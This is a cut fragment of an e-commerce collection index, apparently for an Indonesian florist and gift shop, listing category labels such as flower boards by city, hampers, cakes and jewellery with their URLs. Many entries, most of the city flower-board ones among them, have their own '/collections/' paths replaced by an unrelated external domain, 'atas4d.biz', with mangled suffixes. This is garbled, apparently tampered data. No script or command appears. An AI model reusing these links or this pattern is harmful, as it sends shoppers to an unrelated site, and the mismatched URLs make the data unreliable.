"Collection", url: "/collections/delivery", images: " ", price: " " },{ label: "Deluxe Newborn Hampers Collection", category: "Collection", url: "/collections/deluxe-newborn-hampers-collection", images: " ", price: " " },{ label: "Diamond Bracelet", category: "Collection", url: "/collections/diamond-bracelet", images: " ", price: " " }
13764,{ label: "Diamond Earrings", category: "Collection", url: "/collections/diamond-earrings", images: " ", price: " " },{ label: "Diamond Jewelry", category: "Collection", url: "/collections/diamond-jewelry", images: " ", price: " " },{ label: "Diamond Necklaces", category: "Collection", url: "/collections/diamond-necklaces", images: " ", price: " " },{ label: "Diamond Rings", category: "Collection", url: "/collections/diamond-rings", images: " ", price: " " },{ label: "Digital Gift", category: "Collection", url: "/collections/digital-gift", images: " ", price: " " },{ label: "Donasi", category: "Collection", url: "/collections/donasi", images: " ", price: " " },{ label: "E-Card", category: "Collection", url: "/collections/ecard", images: " ", price: " " },{ label: "E-Gift Card", category: "Collection", url: "/collections/e-gift-card", images: " ", price: " " },{ label: "Earrings", category: "Collection", url: "/collections/anting", images: " ", price: " " },{ label: "Edible Gift", category: "Collection", url: "/collections/edible-gift", images: " ", price: " " },{ label: "Enchanted Grande Love Pirouette", category: "Collection", url: "/collections/enchanted-grande-love-pirouette", images: " ", price: " " },{ label: "Enchanted Love Pirouette", category: "Collection", url: "/collections/enchanted-love-pirouette", images: " ", price: " " },{ label: "Engagement", category: "Collection", url: "/collections/rangkaian-bunga-lamaran", images: " ", price: " " },{ label: "Expression", category: "Collection", url: "/collections/expression", images: " ", price: " " },{ label: "Father's Day Special", category: "Collection", url: "/collections/kado-untuk-ayah", images: " ", price: " " },{ label: "Ferrari", category: "Collection", url: "/collections/ferrari", images: " ", price: " " },{ label: "Ferrero Rocher", category: "Collection", url: "/collections/ferrero-rocher", images: " ", price: " " },{ label: "Festival Belanja Online", category: "Collection", url: "/collections/fbo-2018", images: " ", price: " " },{ label: "Floatbox", category: "Collection", url: "/collections/floatbox", images: " ", price: " " },{ label: "Flower", category: "Collection", url: "/collections/flower", images: " ", price: " " },{ label: "Flower Best Deals", category: "Collection", url: "/collections/flower-best-deals", images: " ", price: " " },{ label: "Flowers", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Flowers For Him", category: "Collection", url: "/collections/bunga-untuk-pria", images: " ", price: " " },{ label: "Flowers Style", category: "Collection", url: "/collections/style", images: " ", price: " " },{ label: "Flowers Type", category: "Collection", url: "/collections/type", images: " ", price: " " },{ label: "For Her", category: "Collection", url: "/collections/kado-untuk-wanita", images: " ", price: " " },{ label: "For Him", category: "Collection", url: "/collections/kado-untuk-pria", images: " ", price: " " },{ label: "Forever Flower", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Forever Flower Holo Series", category: "Collection", url: "https://atas4d.biz/-holo-series", images: " ", price: " " },{ label: "Forever Flower x NestBloom", category: "Collection", url: "https://atas4d.biz/-x-nestbloom", images: " ", price: " " },{ label: "Fortune Hampers", category: "Collection", url: "/collections/fortune-hampers", images: " ", price: " " },{ label: "Frank & Co", category: "Collection", url: "/collections/franknco", images: " ", price: " " },{ label: "Fresh Flowers", category: "Collection", url: "/collections/fresh-flower", images: " ", price: " " },{ label: "Gantungan Kunci", category: "Collection", url: "/collections/gantungan-kunci", images: " ", price: " " },{ label: "Gelato", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Gelato Pie", category: "Collection", url: "https://atas4d.biz/-pie", images: " ", price: " " },{ label: "Gemini ♊️ 21May - 21June", category: "Collection", url: "/collections/kado-untuk-zodiak-gemini", images: " ", price: " " },{ label: "Gerbera", category: "Collection", url: "/collections/gerbera", images: " ", price: " " },{ label: "Get Well Soon", category: "Collection", url: "/collections/rangkaian-bunga-gws", images: " ", price: " " },{ label: "Giant Flower Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Giant Flower Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " }
13764,{ label: "Giant Flower Bouquet", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Gift", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Gift by Recipient", category: "Collection", url: "/collections/gift-by-recipient", images: " ", price: " " },{ label: "Gift for Your Girlfriend", category: "Collection", url: "/collections/kado-untuk-pacar-wanita", images: " ", price: " " },{ label: "Gifts", category: "Collection", url: "/collections/gifts", images: " ", price: " " },{ label: "Glassbox Hampers", category: "Collection", url: "/collections/glassbox-hampers", images: " ", price: " " },{ label: "Glassware CNY Hampers", category: "Collection", url: "https://atas4d.biz/-pecah-belah-imlek", images: " ", price: " " },{ label: "Glassware Eid Hampers", category: "Collection", url: "https://atas4d.biz/-pecah-belah-lebaran", images: " ", price: " " },{ label: "Glassware Hampers", category: "Collection", url: "https://atas4d.biz/-pecah-belah", images: " ", price: " " },{ label: "Gold Jewelry", category: "Collection", url: "/collections/perhiasan-emas", images: " ", price: " " },{ label: "Grand Opening", category: "Collection", url: "/collections/grand-opening", images: " ", price: " " },{ label: "Granola", category: "Collection", url: "/collections/granola", images: " ", price: " " },{ label: "Green Tea", category: "Collection", url: "/collections/green-tea", images: " ", price: " " },{ label: "Greeting Card All", category: "Collection", url: "/collections/greeting-card-all", images: " ", price: " " },{ label: "Greeting Card Anniversary", category: "Collection", url: "/collections/greeting-card-anniversary", images: " ", price: " " },{ label: "Greeting Card Birthday", category: "Collection", url: "/collections/greeting-card-birthday", images: " ", price: " " },{ label: "Greeting Card Eid", category: "Collection", url: "/collections/greeting-card-eid", images: " ", price: " " },{ label: "Greeting Card Graduation", category: "Collection", url: "/collections/greeting-card-graduation", images: " ", price: " " },{ label: "Greeting Card Mother's Day", category: "Collection", url: "/collections/greeting-card-mothers-day", images: " ", price: " " },{ label: "Greeting Card Newborn", category: "Collection", url: "/collections/greeting-card-newborn", images: " ", price: " " },{ label: "Greeting Card Others", category: "Collection", url: "/collections/greeting-card-others", images: " ", price: " " },{ label: "Greeting Card Valentine", category: "Collection", url: "/collections/greeting-card-valentine", images: " ", price: " " },{ label: "Greeting Card Wedding", category: "Collection", url: "/collections/greeting-card-wedding", images: " ", price: " " },{ label: "Grooming", category: "Collection", url: "/collections/grooming", images: " ", price: " " },{ label: "Hadiah Tahun Baru Imlek", category: "Collection", url: "/collections/kado-imlek", images: " ", price: " " },{ label: "Hadiah untuk Bayi", category: "Collection", url: "/collections/kado-untuk-bayi", images: " ", price: " " },{ label: "Hadiah untuk Pacar", category: "Collection", url: "/collections/kado-untuk-pacar", images: " ", price: " " },{ label: "Hadiah untuk Pernikahan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Hadiah untuk Sahabat", category: "Collection", url: "/collections/kado-untuk-sahabat", images: " ", price: " " },{ label: "Hampers", category: "Collection", url: "/collections/hampers", images: " ", price: " " },{ label: "Hampers Baby Boy", category: "Collection", url: "/collections/hampers-baby-boy", images: " ", price: " " },{ label: "Hampers Baby Girl", category: "Collection", url: "/collections/hampers-baby-girl", images: " ", price: " " },{ label: "Hampers Baby Unisex", category: "Collection", url: "/collections/hampers-baby-unisex", images: " ", price: " " },{ label: "Hampers Delivery Indonesia", category: "Collection", url: "https://atas4d.biz/-indonesia", images: " ", price: " " },{ label: "Hampers Lebaran 2026", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Hampers Lebaran Bali", category: "Collection", url: "/collections/hampers-lebaran-bali", images: " ", price: " " },{ label: "Hampers Lebaran Bandung", category: "Collection", url: "/collections/hampers-lebaran-bandung", images: " ", price: " " },{ label: "Hampers Lebaran Jakarta", category: "Collection", url: "/collections/hampers-lebaran-jakarta", images: " ", price: " " },{ label: "Hampers Lebaran Semarang", category: "Collection", url: "/collections/hampers-lebaran-semarang", images: " ", price: " " },{ label: "Hampers Lebaran Surabaya", category: "Collection", url: "/collections/hampers-lebaran-surabaya", images: " ", price: " " },{ label: "Hampers Lebaran Yogyakarta", category: "Collection", url: "/collections/hampers-lebaran-yogyakarta", images: " ", price: " " },{ label: "Hand Sanitizer", category: "Collection", url: "/collections/hand-sanitizer", images: " ", price: " " },{ label: "Happy Birthday", category: "Collection", url: "/collections/kado-ulang-tahun", images: " ", price: " " },{ label: "Harbolnas", category: "Collection", url: "/collections/harbolnas-2018", images: " ", price: " " },{ label: "Harbolnas Produk Lokal", category: "Collection", url: "/collections/produk-lokal", images: " ", price: " " },{ label: "Hari Belanja Online Nasional", category: "Collection", url: "/collections/harbolnas", images: " ", price: " " },{ label: "Hari Guru", category: "Collection", url: "/collections/hari-guru", images: " ", price: " " },{ label: "Healthy Creations", category: "Collection", url: "/collections/healthy-creations", images: " ", price: " " },{ label: "Healthy Hampers", category: "Collection", url: "/collections/healthy-hampers", images: " ", price: " " },{ label: "Heritage Box", category: "Collection", url: "/collections/heritage-boxes", images: " ", price: " " },{ label: "Heritage Chinese New Year Hampers", category: "Collection", url: "/collections/heritage-chinese-new-year-hampers", images: " ", price: " " },{ label: "Heritage Christmas Hampers", category: "Collection", url: "/collections/heritage-christmas-hampers", images: " ", price: " " },{ label: "Heritage Hampers", category: "Collection", url: "/collections/heritage-hampers", images: " ", price: " " },{ label: "Heritage Ramadan Hampers", category: "Collection", url: "/collections/heritage-ramadan-hampers", images: " ", price: " " },{ label: "Hexa Hampers", category: "Collection", url: "/collections/hexa-hampers", images: " ", price: " " },{ label: "Hexa Hampers Luar Jadetabek", category: "Collection", url: "/collections/hexa-hampers-luar-jadetabek", images: " ", price: " " },{ label: "Hexa Newborn", category: "Collection", url: "/collections/hexa-newborn", images: " ", price: " " },{ label: "Holo Bag", category: "Collection", url: "/collections/holo-bag", images: " ", price: " " },{ label: "Holo Bag Ramadan", category: "Collection", url: "/collections/holo-bag-ramadan", images: " ", price: " " },{ label: "Holo Series", category: "Collection", url: "/collections/holo-series", images: " ", price: " " },{ label: "Home Decoration & Photo Frame", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " }
13764,{ label: "Hospitalization", category: "Collection", url: "/collections/axa-hospitalization", images: " ", price: " " },{ label: "House Hampers", category: "Collection", url: "/collections/house-hampers", images: " ", price: " " },{ label: "I'm Sorry", category: "Collection", url: "/collections/rangkaian-bunga-sorry", images: " ", price: " " },{ label: "Ice Cream Cake", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Idul Fitri", category: "Collection", url: "/collections/rangkaian-bunga-idul-fitri", images: " ", price: " " },{ label: "Jam Tangan", category: "Collection", url: "/collections/jam-tangan", images: " ", price: " " },{ label: "Jam Tangan Couple", category: "Collection", url: "/collections/jam-tangan-couple", images: " ", price: " " },{ label: "Jam Tangan Pria", category: "Collection", url: "/collections/jam-tangan-pria", images: " ", price: " " },{ label: "Jam Tangan Wanita", category: "Collection", url: "/collections/jam-tangan-wanita", images: " ", price: " " },{ label: "Jasa Packing Parcel", category: "Collection", url: "/collections/jasa-packing-parcel", images: " ", price: " " },{ label: "Jewelry", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Jual Custom Cake & Hampers Termurah & Terlengkap | Outerbloom Florist & Gift", category: "Collection", url: "/collections/custom-cake-hampers", images: " ", price: " " },{ label: "Just Because", category: "Collection", url: "/collections/just-because", images: " ", price: " " },{ label: "Kado Makanan", category: "Collection", url: "/collections/kado-makanan", images: " ", price: " " },{ label: "Kado Minuman", category: "Collection", url: "/collections/kado-minuman", images: " ", price: " " },{ label: "Kado Natal", category: "Collection", url: "/collections/kado-natal", images: " ", price: " " },{ label: "Kado Unik", category: "Collection", url: "/collections/kado-unik", images: " ", price: " " },{ label: "Kado Valentine Nusantara", category: "Collection", url: "/collections/kado-valentine-nusantara", images: " ", price: " " },{ label: "Kado Valentine untuk Pria", category: "Collection", url: "/collections/kado-valentine-untuk-pria", images: " ", price: " " },{ label: "Kado Wisuda", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Kado Zodiak", category: "Collection", url: "/collections/kado-untuk-zodiak", images: " ", price: " " },{ label: "Karangan Bunga Aceh", category: "Collection", url: "https://atas4d.biz/-aceh", images: " ", price: " " },{ label: "Karangan Bunga Ambon", category: "Collection", url: "https://atas4d.biz/-ambon", images: " ", price: " " },{ label: "Karangan Bunga Atambua", category: "Collection", url: "https://atas4d.biz/-atambua", images: " ", price: " " },{ label: "Karangan Bunga Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Balikpapan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Bandung Barat", category: "Collection", url: "https://atas4d.biz/-barat", images: " ", price: " " },{ label: "Karangan Bunga Bangka", category: "Collection", url: "https://atas4d.biz/-bangka", images: " ", price: " " },{ label: "Karangan Bunga Banjarmasin", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Banten", category: "Collection", url: "https://atas4d.biz/-banten", images: " ", price: " " },{ label: "Karangan Bunga Banyumas", category: "Collection", url: "https://atas4d.biz/-banyumas", images: " ", price: " " },{ label: "Karangan Bunga Banyuwangi", category: "Collection", url: "https://atas4d.biz/-banyuwangi", images: " ", price: " " },{ label: "Karangan Bunga Batam", category: "Collection", url: "https://atas4d.biz/-batam", images: " ", price: " " },{ label: "Karangan Bunga Baubau", category: "Collection", url: "https://atas4d.biz/-baubau", images: " ", price: " " },{ label: "Karangan Bunga Bengkalis", category: "Collection", url: "https://atas4d.biz/-bengkalis", images: " ", price: " " },{ label: "Karangan Bunga Bengkayang", category: "Collection", url: "https://atas4d.biz/-bengkayang", images: " ", price: " " },{ label: "Karangan Bunga Bengkulu", category: "Collection", url: "https://atas4d.biz/-bengkulu", images: " ", price: " " },{ label: "Karangan Bunga Blora", category: "Collection", url: "https://atas4d.biz/-blora", images: " ", price: " " },{ label: "Karangan Bunga Bogor", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Bojonegoro", category: "Collection", url: "https://atas4d.biz/-bojonegoro", images: " ", price: " " },{ label: "Karangan Bunga Boyolali", category: "Collection", url: "https://atas4d.biz/-boyolali", images: " ", price: " " },{ label: "Karangan Bunga Brebes", category: "Collection", url: "https://atas4d.biz/-brebes", images: " ", price: " " },{ label: "Karangan Bunga Bukittinggi", category: "Collection", url: "https://atas4d.biz/-bukittinggi", images: " ", price: " " },{ label: "Karangan Bunga Ciamis", category: "Collection", url: "https://atas4d.biz/-ciamis", images: " ", price: " " }
13764,{ label: "Karangan Bunga Cianjur", category: "Collection", url: "https://atas4d.biz/-cianjur", images: " ", price: " " },{ label: "Karangan Bunga Cikarang", category: "Collection", url: "https://atas4d.biz/-cikarang", images: " ", price: " " },{ label: "Karangan Bunga Cikupa", category: "Collection", url: "https://atas4d.biz/-cikupa", images: " ", price: " " },{ label: "Karangan Bunga Cilacap", category: "Collection", url: "https://atas4d.biz/-cilacap", images: " ", price: " " },{ label: "Karangan Bunga Cileunyi", category: "Collection", url: "https://atas4d.biz/-cileunyi", images: " ", price: " " },{ label: "Karangan Bunga Cimahi", category: "Collection", url: "https://atas4d.biz/-cimahi", images: " ", price: " " },{ label: "Karangan Bunga Cirebon", category: "Collection", url: "https://atas4d.biz/-cirebon", images: " ", price: " " },{ label: "Karangan Bunga Ciwidey", category: "Collection", url: "https://atas4d.biz/-ciwidey", images: " ", price: " " },{ label: "Karangan Bunga Danau Toba", category: "Collection", url: "https://atas4d.biz/-danau-toba", images: " ", price: " " },{ label: "Karangan Bunga Demak", category: "Collection", url: "https://atas4d.biz/-demak", images: " ", price: " " },{ label: "Karangan Bunga Denpasar", category: "Collection", url: "https://atas4d.biz/-denpasar", images: " ", price: " " },{ label: "Karangan Bunga Depok", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Duka Cita", category: "Collection", url: "https://atas4d.biz/-duka-cita", images: " ", price: " " },{ label: "Karangan Bunga Garut", category: "Collection", url: "https://atas4d.biz/-garut", images: " ", price: " " },{ label: "Karangan Bunga Gianyar", category: "Collection", url: "https://atas4d.biz/-gianyar", images: " ", price: " " },{ label: "Karangan Bunga Gorontalo", category: "Collection", url: "https://atas4d.biz/-gorontalo", images: " ", price: " " },{ label: "Karangan Bunga Gowa", category: "Collection", url: "https://atas4d.biz/-gowa", images: " ", price: " " },{ label: "Karangan Bunga Gresik", category: "Collection", url: "https://atas4d.biz/-gresik", images: " ", price: " " },{ label: "Karangan Bunga Grobogan", category: "Collection", url: "https://atas4d.biz/-grobogan", images: " ", price: " " },{ label: "Karangan Bunga Gunung Kidul", category: "Collection", url: "https://atas4d.biz/-gunungkidul", images: " ", price: " " },{ label: "Karangan Bunga Indramayu", category: "Collection", url: "https://atas4d.biz/-indramayu", images: " ", price: " " },{ label: "Karangan Bunga Jakarta", category: "Collection", url: "https://atas4d.biz/-jakarta", images: " ", price: " " },{ label: "Karangan Bunga Jambi", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Jayapura", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Jember", category: "Collection", url: "https://atas4d.biz/-jember", images: " ", price: " " },{ label: "Karangan Bunga Jembrana", category: "Collection", url: "https://atas4d.biz/-jembrana", images: " ", price: " " },{ label: "Karangan Bunga Jepara", category: "Collection", url: "https://atas4d.biz/-jepara", images: " ", price: " " },{ label: "Karangan Bunga Jombang", category: "Collection", url: "https://atas4d.biz/-jombang", images: " ", price: " " },{ label: "Karangan Bunga Kampung Baru", category: "Collection", url: "https://atas4d.biz/-kampung-baru", images: " ", price: " " },{ label: "Karangan Bunga Kapuas", category: "Collection", url: "https://atas4d.biz/-kapuas", images: " ", price: " " },{ label: "Karangan Bunga Karanganyar", category: "Collection", url: "https://atas4d.biz/-karanganyar", images: " ", price: " " },{ label: "Karangan Bunga Karangasem", category: "Collection", url: "https://atas4d.biz/-karangasem", images: " ", price: " " },{ label: "Karangan Bunga Karawang", category: "Collection", url: "https://atas4d.biz/-karawang", images: " ", price: " " },{ label: "Karangan Bunga Kartosuro", category: "Collection", url: "https://atas4d.biz/-kartosuro", images: " ", price: " " },{ label: "Karangan Bunga Kebumen", category: "Collection", url: "https://atas4d.biz/-kebumen", images: " ", price: " " },{ label: "Karangan Bunga Kediri", category: "Collection", url: "https://atas4d.biz/-kediri", images: " ", price: " " },{ label: "Karangan Bunga Kendal", category: "Collection", url: "https://atas4d.biz/-ken
13764dal", images: " ", price: " " },{ label: "Karangan Bunga Kendari", category: "Collection", url: "https://atas4d.biz/-kendari", images: " ", price: " " },{ label: "Karangan Bunga Ketapang", category: "Collection", url: "https://atas4d.biz/-ketapang", images: " ", price: " " },{ label: "Karangan Bunga Klaten", category: "Collection", url: "https://atas4d.biz/-klaten", images: " ", price: " " },{ label: "Karangan Bunga Kota Batu", category: "Collection", url: "https://atas4d.biz/-kota-batu", images: " ", price: " " },{ label: "Karangan Bunga Kudus", category: "Collection", url: "https://atas4d.biz/-kudus", images: " ", price: " " },{ label: "Karangan Bunga Kupang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Lamongan", category: "Collection", url: "https://atas4d.biz/-lamongan", images: " ", price: " " },{ label: "Karangan Bunga Lampung", category: "Collection", url: "https://atas4d.biz/-lampung", images: " ", price: " " },{ label: "Karangan Bunga Langkat", category: "Collection", url: "https://atas4d.biz/-langkat", images: " ", price: " " },{ label: "Karangan Bunga Lembang", category: "Collection", url: "https://atas4d.biz/-lembang", images: " ", price: " " },{ label: "Karangan Bunga Lombok", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Lubuk Pakam", category: "Collection", url: "https://atas4d.biz/-lubuk-pakam", images: " ", price: " " },{ label: "Karangan Bunga Lumajang", category: "Collection", url: "https://atas4d.biz/-lumajang", images: " ", price: " " },{ label: "Karangan Bunga Madiun", category: "Collection", url: "https://atas4d.biz/-madiun", images: " ", price: " " },{ label: "Karangan Bunga Magelang", category: "Collection", url: "https://atas4d.biz/-magelang", images: " ", price: " " },{ label: "Karangan Bunga Majalengka", category: "Collection", url: "https://atas4d.biz/-majalengka", images: " ", price: " " },{ label: "Karangan Bunga Makassar", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Malang", category: "Collection", url: "https://atas4d.biz/-malang", images: " ", price: " " },{ label: "Karangan Bunga Mamuju", category: "Collection", url: "https://atas4d.biz/-mamuju", images: " ", price: " " },{ label: "Karangan Bunga Manado", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Manokwari", category: "Collection", url: "https://atas4d.biz/-manokwari", images: " ", price: " " },{ label: "Karangan Bunga Maros", category: "Collection", url: "https://atas4d.biz/-maros", images: " ", price: " " },{ label: "Karangan Bunga Mataram", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Mojokerto", category: "Collection", url: "https://atas4d.biz/-mojokerto", images: " ", price: " " },{ label: "Karangan Bunga Nganjuk", category: "Collection", url: "https://atas4d.biz/-nganjuk", images: " ", price: " " },{ label: "Karangan Bunga Nias", category: "Collection", url: "https://atas4d.biz/-nias", images: " ", price: " " },{ label: "Karangan Bunga Padang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Palangkaraya", category: "Collection", url: "https://atas4d.biz/-palangkaraya", images: " ", price: " " },{ label: "Karangan Bunga Palu", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Pangkal Pinang", category: "Collection", url: "https://atas4d.biz/-pangkal-pinang", images: " ", price: " " },{ label: "Karangan Bunga Papan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Bandar Lampung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Bekasi", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Binjai", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Blitar", category: "Collection", url: "https://atas4d.biz/-blitar", images: " ", price: " " },{ label: "Karangan Bunga Papan Buleleng", category: "Collection", url: "https://atas4d.biz/-buleleng", images: " ", price: " " },{ label: "Karangan Bunga Papan Cibubur", category: "Collection", url: "https://atas4d.biz/-cibubur", images: " ", price: " " },{ label: "Karangan Bunga Papan Deli Serdang", category: "Collection", url: "https://atas4d.biz/-deli-serdang", images: " ", price: " " },{ label: "Karangan Bunga Papan Jakarta Timur", category: "Collection", url: "https://atas4d.biz/-jakarta-timur", images: " ", price: " " },{ label: "Karangan Bunga Papan Karo", category: "Collection", url: "https://atas4d.biz/-karo", images: " ", price: " " },{ label: "Karangan Bunga Papan Medan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Ngawi", category: "Collection", url: "https://atas4d.biz/-ngawi", images: " ", price: " " },{ label: "Karangan Bunga Papan Palembang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Papan Pemalang", category: "Collection", url: "https://atas4d.biz/-pemalang", images: " ", price: " " },{ label: "Karangan Bunga Papan Rembang", category: "Collection", url: "https://atas4d.biz/-rembang", images: " ", price: " " },{ label: "Karangan Bunga Papan Sragen", category: "Collection", url: "https://atas4d.biz/-sragen", images: " ", price: " " },{ label: "Karangan Bunga Papan Tegal", category: "Collection", url: "https://atas4d.biz/-tegal", images: " ", price: " " },{ label: "Karangan Bunga Papan Temanggung", category: "Collection", url: "https://atas4d.biz/-temanggung", images: " ", price: " " },{ label: "Karangan Bunga Parepare", category: "Collection", url: "https://atas4d.biz/-parepare", images: " ", price: " " },{ label: "Karangan Bunga Pasuruan", category: "Collection", url: "https://atas4d.biz/-pasuruan", images: " ", price: " " },{ label: "Karangan Bunga Pati", category: "Collection", url: "https://atas4d.biz/-pati", images: " ", price: " " },{ label: "Karangan Bunga Pekalongan", category: "Collection", url: "https://atas4d.biz/-pekalongan", images: " ", price: " " },{ label: "Karangan Bunga Pekanbaru", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Pematangsiantar", category: "Collection", url: "https://atas4d.biz/-pematangsiantar", images: " ", price: " " },{ label: "Karangan Bunga Ponorogo", category: "Collection", url: "https://atas4d.biz/-ponorogo", images: " ", price: " " },{ label: "Karangan Bunga Pontianak", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Probolinggo", category: "Collection", url: "https://atas4d.biz/-probolinggo", images: " ", price: " " },{ label: "Karangan Bunga Purbalingga", category: "Collection", url: "https://atas4d.biz/-purbalingga", images: " ", price: " " },{ label: "Karangan Bunga Purwokerto", category: "Collection", url: "https://atas4d.biz/-purwokerto", images: " ", price: " " },{ label: "Karangan Bunga Purworejo", category: "Collection", url: "https://atas4d.biz/-purworejo", images: " ", price: " " },{ label: "Karangan Bunga Riau", category: "Collection", url: "https://atas4d.biz/-riau", images: " ", price: " " },{ label: "Karangan Bunga Salatiga", category: "Collection", url: "https://atas4d.biz/-salatiga", images: " ", price: " " },{ label: "Karangan Bunga Samarinda", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Semarang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Serang", category: "Collection", url: "https://atas4d.biz/-serang", images: " ", price: " " },{ label: "Karangan Bunga Sibolga", category: "Collection", url: "https://atas4d.biz/-sibolga", images: " ", price: " " },{ label: "Karangan Bunga Sidoarjo", category: "Collection", url: "https://atas4d.biz/-sidoarjo", images: " ", price: " " },{ label: "Karangan Bunga Singkawang", category: "Collection", url: "https://atas4d.biz/-singkawang", images: " ", price: " " },{ label: "Karangan Bunga Solo", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Sorong", category: "Collection", url: "https://atas4d.biz/-sorong", images: " ", price: " " },{ label: "Karangan Bunga Subang", category: "Collection", url: "https://atas4d.biz/-subang", images: " ", price: " " },{ label: "Karangan Bunga Sukabumi", category: "Collection", url: "https://atas4d.biz/-sukabumi", images: " ", price: " " },{ label: "Karangan Bunga Sumbawa", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Surakarta", category: "Collection", url: "https://atas4d.biz/-surakarta", images: " ", price: " " },{ label: "Karangan Bunga Tangerang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Karangan Bunga Tasikmalaya", category: "Collection", url: "https://atas4d.biz/-tasikmalaya", images: " ", price: " " },{ label: "Karangan Bunga Ternate", category: "Collection", url: "https://atas4d.biz/-ternate", images: " ", price: " " },{ label: "Karangan Bunga Tolitoli", category: "Collection", url: "https://atas4d.biz/-tolitoli", images: " ", price: " " },{ label: "Karangan Bunga Toraja", category: "Collection", url: "https://atas4d.biz/-toraja", images: " ", price: " " },{ label: "Karangan Bunga Tuban", category: "Collection", url: "https://atas4d.biz/-tuban", images: " ", price: " " },{ label: "Karangan Bunga Tulungagung", category: "Collection", url: "https://atas4d.biz/-tulungagung", images: " ", price: " " },{ label: "Karangan Bunga Wakatobi", category: "Collection", url: "https://atas4d.biz/-wakatobi", images: " ", price: " " },{ label: "Karangan Bunga Wiyung", category: "Collection", url: "https://atas4d.biz/-wiyung", images: " ", price: " " },{ label: "Karangan Bunga Wonogiri", category: "Collection", url: "https://atas4d.biz/-wonogiri", images: " ", price: " " },{ label: "Karangan Bunga Wonokromo", category: "Collection", url: "https://atas4d.biz/-wonokromo", images: " ", price: " " },{ label: "Karangan Bunga Wonosobo", category: "Collection", url: "https://atas4d.biz/-wonosobo", images: " ", price: " " },{ label: "Karangan Bunga Yogyakarta", category: "Collection", url: "https://atas4d.biz/-yogyakarta", images: " ", price: " " },{ label: "Kartu Ucapan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Kue Anniversary", category: "Collection", url: "/collections/kue-anniversary", images: " ", price: " " },{ label: "Kue Bachelorette", category: "Collection", url: "/collections/kue-bachelorette", images: " ", price: " " },{ label: "Kue Bandung", category: "Collection", url: "/collections/kue-bandung", images: " ", price: " " },{ label: "Kue Bulan", category: "Collection", url: "/collections/kue-bulan", images: " ", price: " " },{ label: "Kue Imlek", category: "Collection", url: "/collections/kue-imlek", images: " ", price: " " },{ label: "Kue Kering", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Kue Natal", category: "Collection", url: "/collections/kue-natal", images: " ", price: " " },{ label: "Kue Pernikahan", category: "Collection", url: "/collections/kue-pernikahan", images: " ", price: " " },{ label: "Kue Tart", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Kue Tart Oma Elly", category: "Collection", url: "https://atas4d.biz/-oma-elly", images: " ", price: " " },{ label: "Kue Ulang Tahun", category: "Collection", url: "/collections/kue-ulang-tahun", images: " ", price: " " },{ label: "Lalique", category: "Collection", url: "/collections/lalique", images: " ", price: " " },{ label: "Le Sucre Du Patisserie", category: "Collection", url: "/collections/le-sucre-du-patisserie", images: " ", price: " " },{ label: "Leo ♌️ 23July - 22Augst", category: "Collection", url: "/collections/kado-untuk-zodiak-leo", images: " ", price: " " },{ label: "Letter Box", category: "Collection", url: "/collections/letter-box", images: " ", price: " " },{ label: "Libra ♎️ 23Sept - 23Oct", category: "Collection", url: "/collections/kado-untuk-zodiak-libra", images: " ", price: " " },{ label: "Lilin Aromaterapi", category: "Collection", url: "https://atas4d.biz/", images: " ", price: 